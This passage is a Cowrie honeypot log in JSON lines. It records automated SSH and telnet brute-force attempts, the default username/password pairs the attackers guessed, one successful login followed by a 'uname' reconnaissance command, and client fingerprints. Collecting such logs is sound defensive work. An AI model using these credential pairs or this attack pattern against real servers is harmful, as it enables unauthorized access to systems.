-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:45.726056Z","src_ip":"45.156.87.204","session":"b4582e40df29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:45.975684Z","src_ip":"45.156.87.204","session":"b4582e40df29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:47.142560Z","src_ip":"45.156.87.204","session":"b4582e40df29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49474,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f124cea97bc","protocol":"ssh","message":"New connection: 45.156.87.204:49474 (159.203.135.109:22) [session: 3f124cea97bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:49.510145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:49.514910Z","src_ip":"45.156.87.204","session":"3f124cea97bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:49.599673Z","src_ip":"45.156.87.204","session":"3f124cea97bc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:49.855838Z","src_ip":"45.156.87.204","session":"3f124cea97bc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:50.078707Z","src_ip":"45.156.87.204","session":"3f124cea97bc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:50.082159Z","src_ip":"45.156.87.204","session":"3f124cea97bc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:50.168395Z","src_ip":"45.156.87.204","session":"3f124cea97bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:50.174066Z","src_ip":"45.156.87.204","session":"3f124cea97bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55174,"dst_ip":"10.17.0.5","dst_port":23,"session":"c539c4780b3e","protocol":"telnet","message":"New connection: 152.42.224.71:55174 (10.17.0.5:23) [session: c539c4780b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:52.718218Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60050,"dst_ip":"159.203.135.109","dst_port":22,"session":"8da19b63cee1","protocol":"ssh","message":"New connection: 45.156.87.204:60050 (159.203.135.109:22) [session: 8da19b63cee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:53.130855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:53.135437Z","src_ip":"45.156.87.204","session":"8da19b63cee1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:53.228577Z","src_ip":"45.156.87.204","session":"8da19b63cee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student123","message":"login attempt [student/student123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:53.475095Z","src_ip":"45.156.87.204","session":"8da19b63cee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:54.687352Z","src_ip":"45.156.87.204","session":"8da19b63cee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.13422775268555,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:56.321429Z","src_ip":"152.42.224.71","session":"33f33e6369a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.23037648200989,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:56.512379Z","src_ip":"152.42.224.71","session":"6851b058e3db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34916,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac80d6deb3fb","protocol":"telnet","message":"New connection: 152.42.224.71:34916 (10.17.0.5:23) [session: ac80d6deb3fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:56.672293Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60052,"dst_ip":"159.203.135.109","dst_port":22,"session":"eefe1d265ecd","protocol":"ssh","message":"New connection: 45.156.87.204:60052 (159.203.135.109:22) [session: eefe1d265ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:56.766063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:56.771586Z","src_ip":"45.156.87.204","session":"eefe1d265ecd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:56.855876Z","src_ip":"45.156.87.204","session":"eefe1d265ecd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:57.376299Z","src_ip":"45.156.87.204","session":"eefe1d265ecd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:33:58.464227Z","src_ip":"45.156.87.204","session":"eefe1d265ecd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":60060,"dst_ip":"159.203.135.109","dst_port":22,"session":"01f6d450edd8","protocol":"ssh","message":"New connection: 45.156.87.204:60060 (159.203.135.109:22) [session: 01f6d450edd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:00.595746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:00.600537Z","src_ip":"45.156.87.204","session":"01f6d450edd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:00.687500Z","src_ip":"45.156.87.204","session":"01f6d450edd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esearch","password":"esearch","message":"login attempt [esearch/esearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:00.936445Z","src_ip":"45.156.87.204","session":"01f6d450edd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:02.025649Z","src_ip":"45.156.87.204","session":"01f6d450edd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34920,"dst_ip":"10.17.0.5","dst_port":23,"session":"3da797dbdd58","protocol":"telnet","message":"New connection: 152.42.224.71:34920 (10.17.0.5:23) [session: 3da797dbdd58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:03.236790Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34936,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9c34a3ac5fc","protocol":"telnet","message":"New connection: 152.42.224.71:34936 (10.17.0.5:23) [session: a9c34a3ac5fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:04.190934Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49374,"dst_ip":"159.203.135.109","dst_port":22,"session":"6341902a26f1","protocol":"ssh","message":"New connection: 45.156.87.204:49374 (159.203.135.109:22) [session: 6341902a26f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:04.219313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:04.224552Z","src_ip":"45.156.87.204","session":"6341902a26f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:04.306794Z","src_ip":"45.156.87.204","session":"6341902a26f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:04.552871Z","src_ip":"45.156.87.204","session":"6341902a26f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:05.638942Z","src_ip":"45.156.87.204","session":"6341902a26f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49384,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2f10273cef8","protocol":"ssh","message":"New connection: 45.156.87.204:49384 (159.203.135.109:22) [session: b2f10273cef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:07.964216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:07.968410Z","src_ip":"45.156.87.204","session":"b2f10273cef8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:08.050644Z","src_ip":"45.156.87.204","session":"b2f10273cef8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55280,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebc1c00dd8a6","protocol":"telnet","message":"New connection: 152.42.224.71:55280 (10.17.0.5:23) [session: ebc1c00dd8a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:08.245923Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:08.318287Z","src_ip":"45.156.87.204","session":"b2f10273cef8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:09.403006Z","src_ip":"45.156.87.204","session":"b2f10273cef8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49404,"dst_ip":"159.203.135.109","dst_port":22,"session":"c29b65ebef5e","protocol":"ssh","message":"New connection: 45.156.87.204:49404 (159.203.135.109:22) [session: c29b65ebef5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:11.511432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:11.516330Z","src_ip":"45.156.87.204","session":"c29b65ebef5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:34:11.599489Z","src_ip":"45.156.87.204","session":"c29b65ebef5e","protocol":"ssh"}
